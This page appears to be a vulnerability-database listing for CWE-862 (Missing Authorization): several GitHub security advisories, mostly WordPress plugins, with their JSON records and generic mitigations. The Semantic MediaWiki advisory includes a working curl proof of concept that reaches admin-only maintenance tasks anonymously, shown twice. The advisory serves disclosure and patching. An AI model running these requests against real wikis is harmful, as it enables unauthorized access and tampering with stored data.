Common Weakness Enumeration

CWE-862

Allowed-with-Review

Missing Authorization

Abstraction: Class · Status: Incomplete

The product does not perform an authorization check when an actor attempts to access a resource or perform an action.

18003 vulnerabilities reference this CWE, most recent first.

GHSA-JR78-W6W5-M8F8

Vulnerability from github – Published: 2026-09-18 16:59 – Updated: 2026-09-18 16:59
VLAI
Summary
Semantic MediaWiki'a missing authorization in the smwtask API module allows unauthenticated access to admin-only maintenance tasks
Details

Summary

The api.php?action=smwtask API module performs no authorization check. The equivalent maintenance interface in the web UI (Special:SMWAdmin) requires the smw-admin right, but the API module that backs several of the same operations enforces nothing. An unauthenticated visitor can therefore retrieve internal Semantic MediaWiki database statistics and reach state-changing maintenance operations that are intended to be administrator-only.

Details

SMW\MediaWiki\Api\Task::execute() (src/MediaWiki/Api/Task.php) reads the request parameters, resolves a task through TaskFactory, and runs it. It contains no permission check — no smw-admin, no checkUserRightsAny(), no per-task right.

The only gates on the module are:

  • needsToken( 'csrf' ) — this is not authorization. MediaWiki issues anonymous users a fixed, public CSRF token (+\), so any unauthenticated caller satisfies the token check. It defends logged-in users against CSRF; it does nothing against a direct anonymous request.
  • mustBePosted() / isWriteMode() — do not gate on group membership.

By contrast, Special:SMWAdmin restricts access via parent::__construct( 'SMWAdmin', 'smw-admin' ) and raises PermissionsError when the smw-admin right is absent. The API path bypasses that restriction entirely.

Tasks reachable anonymously through the module include:

  • table-statistics, duplicate-lookup — return internal store statistics and enumerate the internal object-ID space (intended to be behind Special:SMWAdmin → Supplementary functions).
  • insert-job — enqueues any Semantic MediaWiki job type (including smw.fulltextSearchTableRebuild, smw.propertyStatisticsRebuild, smw.entityIdDisposer) for an arbitrary title.
  • update, check-query, run-joblist — run update jobs and #ask queries synchronously within the request; run-joblist pops and executes queued jobs inline.

Because the read tasks disclose the internal object-ID space and insert-job can enqueue smw.entityIdDisposer with a specific id parameter, the exposure extends beyond information disclosure and resource consumption to targeted modification of stored semantic data.

Proof of concept

On a default installation, as an unauthenticated visitor:

# 1. Obtain the anonymous CSRF token (the fixed public value "+\")
curl -s 'https://HOST/api.php?action=query&meta=tokens&type=csrf&format=json'
#   -> {"query":{"tokens":{"csrftoken":"+\\"}}}

# 2. Read internal database statistics — HTTP 200 with the data
curl -s -H 'Content-Type: application/x-www-form-urlencoded' \
  --data-raw 'action=smwtask&task=table-statistics&params={}&token=%2B%5C&format=json' \
  'https://HOST/api.php'
#   -> {"task":{"list":{"smw_object_ids":{"total_row_count":49,"last_id":516,...

# 3. Enqueue a maintenance job (state-changing)
curl -s --data-urlencode 'action=smwtask' --data-urlencode 'task=insert-job' \
  --data-urlencode 'params={"subject":"Main_Page#0##","job":"smw.fulltextSearchTableRebuild","parameters":{"mode":"full"}}' \
  --data-urlencode 'token=+\' --data-urlencode 'format=json' 'https://HOST/api.php'
#   -> {"task":{"done":""}}   (job now present in the queue)

# 4. Execute queued jobs synchronously in the anonymous request
curl -s --data-urlencode 'action=smwtask' --data-urlencode 'task=run-joblist' \
  --data-urlencode 'params={"subject":"Main_Page#0##","jobs":{"smw.fulltextSearchTableRebuild":1}}' \
  --data-urlencode 'token=+\' --data-urlencode 'format=json' 'https://HOST/api.php'
#   -> {"task":{"done":"","log":{"smw.fulltextSearchTableRebuild":["Main_Page"]}}}

Reproduced on master against a default install, with the requester confirmed anonymous (action=query&meta=userinfo returned {"id":0,"anon":""}).

Impact

An unauthenticated attacker can:

  • Retrieve internal Semantic MediaWiki database statistics — row counts, the last/highest internal object ID, per-namespace breakdowns, and blob term statistics — and enumerate the internal object-ID space.
  • Enqueue arbitrary Semantic MediaWiki maintenance jobs and force synchronous execution of update jobs, #ask queries, and queued jobs, degrading wiki performance.
  • Reach entity-disposal operations against enumerated object IDs, affecting the integrity of stored semantic data.

Practical severity depends on deployment: the disclosed statistics are more sensitive on a populated wiki, and the performance and integrity impact scales with store size and job cost.

Affected versions

All releases that ship the smwtask API module (introduced in 3.x) up to and including the current release.

Mitigation

Upgrading to 7.3.0+ or apply a local patch in localSettings.php to disable the endpoint if you can't update:

$wgExtensionFunctions[] = static function () {
      unset( $GLOBALS['wgAPIModules']['smwtask'] );
};
Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 7.2.1"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "mediawiki/semantic-media-wiki"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.0.0"
            },
            {
              "fixed": "7.3.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-18T16:59:31Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\n\nThe `api.php?action=smwtask` API module performs no authorization check. The equivalent maintenance interface in the web UI (`Special:SMWAdmin`) requires the `smw-admin` right, but the API module that backs several of the same operations enforces nothing. An unauthenticated visitor can therefore retrieve internal Semantic MediaWiki database statistics and reach state-changing maintenance operations that are intended to be administrator-only.\n\n### Details\n\n`SMW\\MediaWiki\\Api\\Task::execute()` (`src/MediaWiki/Api/Task.php`) reads the request parameters, resolves a task through `TaskFactory`, and runs it. It contains no permission check \u2014 no `smw-admin`, no `checkUserRightsAny()`, no per-task right.\n\nThe only gates on the module are:\n\n- `needsToken( \u0027csrf\u0027 )` \u2014 this is **not** authorization. MediaWiki issues anonymous users a fixed, public CSRF token (`+\\`), so any unauthenticated caller satisfies the token check. It defends logged-in users against CSRF; it does nothing against a direct anonymous request.\n- `mustBePosted()` / `isWriteMode()` \u2014 do not gate on group membership.\n\nBy contrast, `Special:SMWAdmin` restricts access via `parent::__construct( \u0027SMWAdmin\u0027, \u0027smw-admin\u0027 )` and raises `PermissionsError` when the `smw-admin` right is absent. The API path bypasses that restriction entirely.\n\nTasks reachable anonymously through the module include:\n\n- `table-statistics`, `duplicate-lookup` \u2014 return internal store statistics and enumerate the internal object-ID space (intended to be behind `Special:SMWAdmin` \u2192 Supplementary functions).\n- `insert-job` \u2014 enqueues any Semantic MediaWiki job type (including `smw.fulltextSearchTableRebuild`, `smw.propertyStatisticsRebuild`, `smw.entityIdDisposer`) for an arbitrary title.\n- `update`, `check-query`, `run-joblist` \u2014 run update jobs and `#ask` queries synchronously within the request; `run-joblist` pops and executes queued jobs inline.\n\nBecause the read tasks disclose the internal object-ID space and `insert-job` can enqueue `smw.entityIdDisposer` with a specific `id` parameter, the exposure extends beyond information disclosure and resource consumption to targeted modification of stored semantic data.\n\n### Proof of concept\n\nOn a default installation, as an unauthenticated visitor:\n\n```\n# 1. Obtain the anonymous CSRF token (the fixed public value \"+\\\")\ncurl -s \u0027https://HOST/api.php?action=query\u0026meta=tokens\u0026type=csrf\u0026format=json\u0027\n#   -\u003e {\"query\":{\"tokens\":{\"csrftoken\":\"+\\\\\"}}}\n\n# 2. Read internal database statistics \u2014 HTTP 200 with the data\ncurl -s -H \u0027Content-Type: application/x-www-form-urlencoded\u0027 \\\n  --data-raw \u0027action=smwtask\u0026task=table-statistics\u0026params={}\u0026token=%2B%5C\u0026format=json\u0027 \\\n  \u0027https://HOST/api.php\u0027\n#   -\u003e {\"task\":{\"list\":{\"smw_object_ids\":{\"total_row_count\":49,\"last_id\":516,...\n\n# 3. Enqueue a maintenance job (state-changing)\ncurl -s --data-urlencode \u0027action=smwtask\u0027 --data-urlencode \u0027task=insert-job\u0027 \\\n  --data-urlencode \u0027params={\"subject\":\"Main_Page#0##\",\"job\":\"smw.fulltextSearchTableRebuild\",\"parameters\":{\"mode\":\"full\"}}\u0027 \\\n  --data-urlencode \u0027token=+\\\u0027 --data-urlencode \u0027format=json\u0027 \u0027https://HOST/api.php\u0027\n#   -\u003e {\"task\":{\"done\":\"\"}}   (job now present in the queue)\n\n# 4. Execute queued jobs synchronously in the anonymous request\ncurl -s --data-urlencode \u0027action=smwtask\u0027 --data-urlencode \u0027task=run-joblist\u0027 \\\n  --data-urlencode \u0027params={\"subject\":\"Main_Page#0##\",\"jobs\":{\"smw.fulltextSearchTableRebuild\":1}}\u0027 \\\n  --data-urlencode \u0027token=+\\\u0027 --data-urlencode \u0027format=json\u0027 \u0027https://HOST/api.php\u0027\n#   -\u003e {\"task\":{\"done\":\"\",\"log\":{\"smw.fulltextSearchTableRebuild\":[\"Main_Page\"]}}}\n```\n\nReproduced on `master` against a default install, with the requester confirmed anonymous (`action=query\u0026meta=userinfo` returned `{\"id\":0,\"anon\":\"\"}`).\n\n### Impact\n\nAn unauthenticated attacker can:\n\n- Retrieve internal Semantic MediaWiki database statistics \u2014 row counts, the last/highest internal object ID, per-namespace breakdowns, and blob term statistics \u2014 and enumerate the internal object-ID space.\n- Enqueue arbitrary Semantic MediaWiki maintenance jobs and force synchronous execution of update jobs, `#ask` queries, and queued jobs, degrading wiki performance.\n- Reach entity-disposal operations against enumerated object IDs, affecting the integrity of stored semantic data.\n\nPractical severity depends on deployment: the disclosed statistics are more sensitive on a populated wiki, and the performance and integrity impact scales with store size and job cost.\n\n### Affected versions\n\nAll releases that ship the `smwtask` API module (introduced in 3.x) up to and including the current release.\n\n### Mitigation\n\nUpgrading to 7.3.0+ or apply a local patch in `localSettings.php` to disable the endpoint if you can\u0027t update:\n```php\n$wgExtensionFunctions[] = static function () {\n      unset( $GLOBALS[\u0027wgAPIModules\u0027][\u0027smwtask\u0027] );\n};\n```",
  "id": "GHSA-jr78-w6w5-m8f8",
  "modified": "2026-09-18T16:59:31Z",
  "published": "2026-09-18T16:59:31Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/SemanticMediaWiki/SemanticMediaWiki/security/advisories/GHSA-jr78-w6w5-m8f8"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/SemanticMediaWiki/SemanticMediaWiki"
    },
    {
      "type": "WEB",
      "url": "https://github.com/SemanticMediaWiki/SemanticMediaWiki/releases/tag/7.3.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Semantic MediaWiki\u0027a missing authorization in the smwtask API module allows unauthenticated access to admin-only maintenance tasks"
}

GHSA-JR7P-69VW-FWHF

Vulnerability from github – Published: 2023-07-06 19:24 – Updated: 2026-04-08 18:32
VLAI
Details

The JetBackup – WP Backup, Migrate & Restore plugin for WordPress is vulnerable to unauthorized back-up location changes in versions up to, and including 1.4.1 due to a lack of proper capability checking on the backup_guard_cloud_dropbox, backup_guard_cloud_gdrive, and backup_guard_cloud_oneDrive functions. This makes it possible for authenticated attackers, with minimal permissions, such as a subscriber to change to location of back-ups and potentially steal sensitive information from them.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2020-36667"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-03-07T14:15:00Z",
    "severity": "MODERATE"
  },
  "details": "The JetBackup \u2013 WP Backup, Migrate \u0026 Restore plugin for WordPress is vulnerable to unauthorized back-up location changes in versions up to, and including 1.4.1 due to a lack of proper capability checking on the backup_guard_cloud_dropbox, backup_guard_cloud_gdrive, and backup_guard_cloud_oneDrive functions. This makes it possible for authenticated attackers, with minimal permissions, such as a subscriber to change to location of back-ups and potentially steal sensitive information from them.",
  "id": "GHSA-jr7p-69vw-fwhf",
  "modified": "2026-04-08T18:32:02Z",
  "published": "2023-07-06T19:24:11Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-36667"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/changeset?sfp_email=\u0026sfph_mail=\u0026reponame=\u0026old=2348984%40backup\u0026new=2348984%40backup\u0026sfp_email=\u0026sfph_mail="
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/59532447-1d74-4d34-85f5-d89b65a001d8"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/59532447-1d74-4d34-85f5-d89b65a001d8?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-JR86-6J4J-MV45

Vulnerability from github – Published: 2023-04-12 18:30 – Updated: 2023-04-21 17:52
VLAI
Summary
Jenkins Assembla merge request builder Plugin missing authentication to access endpoint
Details

Jenkins Assembla merge request builder Plugin provides a webhook endpoint at /assembla-webhook/ that can be used to trigger builds of jobs configured to use a specified repository.

In Assembla merge request builder Plugin 1.1.13 and earlier, this endpoint can be accessed without authentication. This allows unauthenticated attackers to trigger builds of jobs corresponding to the attacker-specified repository.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.jenkins-ci.plugins:assembla-merge-request-builder"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "1.1.13"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2023-30521"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-04-12T22:18:11Z",
    "nvd_published_at": "2023-04-12T18:15:00Z",
    "severity": "MODERATE"
  },
  "details": "Jenkins Assembla merge request builder Plugin provides a webhook endpoint at `/assembla-webhook/` that can be used to trigger builds of jobs configured to use a specified repository.\n\nIn Assembla merge request builder Plugin 1.1.13 and earlier, this endpoint can be accessed without authentication. This allows unauthenticated attackers to trigger builds of jobs corresponding to the attacker-specified repository.",
  "id": "GHSA-jr86-6j4j-mv45",
  "modified": "2023-04-21T17:52:22Z",
  "published": "2023-04-12T18:30:36Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-30521"
    },
    {
      "type": "WEB",
      "url": "https://www.jenkins.io/security/advisory/2023-04-12/#SECURITY-2872"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2023/04/13/3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Jenkins Assembla merge request builder Plugin missing authentication to access endpoint"
}

GHSA-JR8W-F633-29F6

Vulnerability from github – Published: 2026-09-23 21:30 – Updated: 2026-09-23 21:30
VLAI
Details

Unauthenticated Broken Access Control in Loops & Logic <= 4.2.4 versions.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-95604"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-09-23T19:19:53Z",
    "severity": "HIGH"
  },
  "details": "Unauthenticated Broken Access Control in Loops \u0026 Logic \u003c= 4.2.4 versions.",
  "id": "GHSA-jr8w-f633-29f6",
  "modified": "2026-09-23T21:30:53Z",
  "published": "2026-09-23T21:30:53Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-95604"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/wordpress/plugin/tangible-loops-and-logic/vulnerability/wordpress-loops-logic-plugin-4-2-4-broken-access-control-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-JR92-G569-92J2

Vulnerability from github – Published: 2025-09-16 00:30 – Updated: 2025-11-03 21:34
VLAI
Details

A permissions issue was addressed with additional restrictions. This issue is fixed in macOS Tahoe 26, visionOS 26. A malicious app may be able to gain root privileges.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-43316"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-09-15T23:15:34Z",
    "severity": "HIGH"
  },
  "details": "A permissions issue was addressed with additional restrictions. This issue is fixed in macOS Tahoe 26, visionOS 26. A malicious app may be able to gain root privileges.",
  "id": "GHSA-jr92-g569-92j2",
  "modified": "2025-11-03T21:34:31Z",
  "published": "2025-09-16T00:30:24Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-43316"
    },
    {
      "type": "WEB",
      "url": "https://support.apple.com/en-us/125110"
    },
    {
      "type": "WEB",
      "url": "https://support.apple.com/en-us/125115"
    },
    {
      "type": "WEB",
      "url": "http://seclists.org/fulldisclosure/2025/Sep/53"
    },
    {
      "type": "WEB",
      "url": "http://seclists.org/fulldisclosure/2025/Sep/58"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-JR9C-H74F-2V28

Vulnerability from github – Published: 2022-03-11 00:02 – Updated: 2023-06-30 20:12
VLAI
Summary
Gitea Missing Authorization vulnerability
Details

Gitea 1.16.3 and prior is vulnerable to missing authorization. A patch is available as part of the 1.16.4 release.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.16.3"
      },
      "package": {
        "ecosystem": "Go",
        "name": "code.gitea.io/gitea"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.16.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2022-0905"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2022-03-11T20:32:37Z",
    "nvd_published_at": "2022-03-10T15:15:00Z",
    "severity": "HIGH"
  },
  "details": "Gitea 1.16.3 and prior is vulnerable to missing authorization. A patch is available as part of the 1.16.4 release.",
  "id": "GHSA-jr9c-h74f-2v28",
  "modified": "2023-06-30T20:12:44Z",
  "published": "2022-03-11T00:02:35Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-0905"
    },
    {
      "type": "WEB",
      "url": "https://github.com/go-gitea/gitea/commit/1314f38b59748397b3429fb9bc9f9d6bac85d2f2"
    },
    {
      "type": "WEB",
      "url": "https://github.com/go-gitea/gitea/commit/3e5c844a7758fa29126d201f4f98bf21bca6d314"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/go-gitea/gitea"
    },
    {
      "type": "WEB",
      "url": "https://huntr.dev/bounties/8d221f92-b2b1-4878-bc31-66ff272e5ceb"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Gitea Missing Authorization vulnerability"
}

GHSA-JRCG-JRHW-F5J2

Vulnerability from github – Published: 2025-12-30 12:30 – Updated: 2026-01-20 15:32
VLAI
Details

Missing Authorization vulnerability in wpdesk ShopMagic shopmagic-for-woocommerce allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects ShopMagic: from n/a through <= 4.7.2.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-69093"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-12-30T11:16:02Z",
    "severity": "MODERATE"
  },
  "details": "Missing Authorization vulnerability in wpdesk ShopMagic shopmagic-for-woocommerce allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects ShopMagic: from n/a through \u003c= 4.7.2.",
  "id": "GHSA-jrcg-jrhw-f5j2",
  "modified": "2026-01-20T15:32:52Z",
  "published": "2025-12-30T12:30:28Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-69093"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/Wordpress/Plugin/shopmagic-for-woocommerce/vulnerability/wordpress-shopmagic-plugin-4-7-2-broken-access-control-vulnerability?_s_id=cve"
    },
    {
      "type": "WEB",
      "url": "https://vdp.patchstack.com/database/Wordpress/Plugin/shopmagic-for-woocommerce/vulnerability/wordpress-shopmagic-plugin-4-7-2-broken-access-control-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-JRCV-5R3M-CWR3

Vulnerability from github – Published: 2025-12-06 06:30 – Updated: 2025-12-06 06:30
VLAI
Details

The Listar – Directory Listing & Classifieds WordPress Plugin plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the '/wp-json/listar/v1/place/save' REST API endpoint in all versions up to, and including, 3.0.0. This makes it possible for authenticated attackers, with Subscriber-level access and above, to update listing details.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-12577"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-12-06T06:15:50Z",
    "severity": "MODERATE"
  },
  "details": "The Listar \u2013 Directory Listing \u0026 Classifieds WordPress Plugin plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the \u0027/wp-json/listar/v1/place/save\u0027 REST API endpoint in all versions up to, and including, 3.0.0. This makes it possible for authenticated attackers, with Subscriber-level access and above, to update listing details.",
  "id": "GHSA-jrcv-5r3m-cwr3",
  "modified": "2025-12-06T06:30:16Z",
  "published": "2025-12-06T06:30:16Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-12577"
    },
    {
      "type": "WEB",
      "url": "https://wordpress.org/plugins/listar-directory-listing"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/a063fab3-6d52-4f2a-b51f-b76fa2d4711c?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-JRF7-2C28-2HC3

Vulnerability from github – Published: 2026-06-27 09:30 – Updated: 2026-06-27 09:30
VLAI
Details

The Quiz and Survey Master (QSM) – Easy Quiz and Survey Maker plugin for WordPress is vulnerable to authorization bypass in all versions up to, and including, 11.1.4. This is due to the plugin not properly verifying that a user is authorized to perform an action. This makes it possible for authenticated attackers, with contributor-level access and above, to create, modify, and delete quiz output templates stored in the mlw_quiz_output_templates database table, including storing unsanitized HTML content such as arbitrary script tags.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-9233"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-06-27T08:16:45Z",
    "severity": "MODERATE"
  },
  "details": "The Quiz and Survey Master (QSM) \u2013 Easy Quiz and Survey Maker plugin for WordPress is vulnerable to authorization bypass in all versions up to, and including, 11.1.4. This is due to the plugin not properly verifying that a user is authorized to perform an action. This makes it possible for authenticated attackers, with contributor-level access and above, to create, modify, and delete quiz output templates stored in the mlw_quiz_output_templates database table, including storing unsanitized HTML content such as arbitrary script tags.",
  "id": "GHSA-jrf7-2c28-2hc3",
  "modified": "2026-06-27T09:30:37Z",
  "published": "2026-06-27T09:30:37Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-9233"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/quiz-master-next/tags/11.0.0/mlw_quizmaster2.php#L931"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/quiz-master-next/tags/11.0.0/php/admin/functions.php#L1557"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/quiz-master-next/tags/11.0.0/php/admin/functions.php#L1563"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/quiz-master-next/tags/11.0.0/php/admin/functions.php#L1638"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/quiz-master-next/tags/11.0.0/php/admin/options-page-email-tab.php#L52"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/quiz-master-next/tags/11.1.2/mlw_quizmaster2.php#L931"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/quiz-master-next/tags/11.1.2/php/admin/functions.php#L1557"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/quiz-master-next/tags/11.1.2/php/admin/functions.php#L1563"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/quiz-master-next/tags/11.1.2/php/admin/functions.php#L1638"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/quiz-master-next/tags/11.1.2/php/admin/options-page-email-tab.php#L52"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/changeset?sfp_email=\u0026sfph_mail=\u0026reponame=\u0026old=3570062%40quiz-master-next\u0026new=3570062%40quiz-master-next\u0026sfp_email=\u0026sfph_mail="
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/38db911b-cad5-4c8c-b0a4-70dc543b4591?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-JRGX-M53M-VR33

Vulnerability from github – Published: 2023-12-07 03:30 – Updated: 2026-04-08 18:32
VLAI
Details

The System Dashboard plugin for WordPress is vulnerable to unauthorized access of data due to a missing capability check on the sd_php_info() function hooked via an AJAX action in all versions up to, and including, 2.8.7. This makes it possible for authenticated attackers, with subscriber-level access and above, to retrieve sensitive information provided by PHP info.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2023-5711"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-12-07T02:15:06Z",
    "severity": "MODERATE"
  },
  "details": "The System Dashboard plugin for WordPress is vulnerable to unauthorized access of data due to a missing capability check on the sd_php_info() function hooked via an AJAX action in all versions up to, and including, 2.8.7. This makes it possible for authenticated attackers, with subscriber-level access and above, to retrieve sensitive information provided by PHP info.",
  "id": "GHSA-jrgx-m53m-vr33",
  "modified": "2026-04-08T18:32:27Z",
  "published": "2023-12-07T03:30:32Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-5711"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/system-dashboard/tags/2.8.7/admin/class-system-dashboard-admin.php#L1925"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/system-dashboard/tags/2.8.8/admin/class-system-dashboard-admin.php#L1932"
    },
    {
      "type": "WEB",
      "url": "https://research.cleantalk.org/cve-2023-5711"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/17bc3a9f-2bf9-44e3-81ef-bfa932085da9?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

Mitigation
Architecture and Design
  • Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) [REF-229] to enforce the roles at the appropriate boundaries.
  • Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.
Mitigation
Architecture and Design

Ensure that access control checks are performed related to the business logic. These checks may be different than the access control checks that are applied to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor [REF-7].

Mitigation MIT-4.4
Architecture and Design

Strategy: Libraries or Frameworks

  • Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
  • For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].
Mitigation
Architecture and Design
  • For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page.
  • One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.
Mitigation
System Configuration Installation

Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.

CAPEC-665: Exploitation of Thunderbolt Protection Flaws

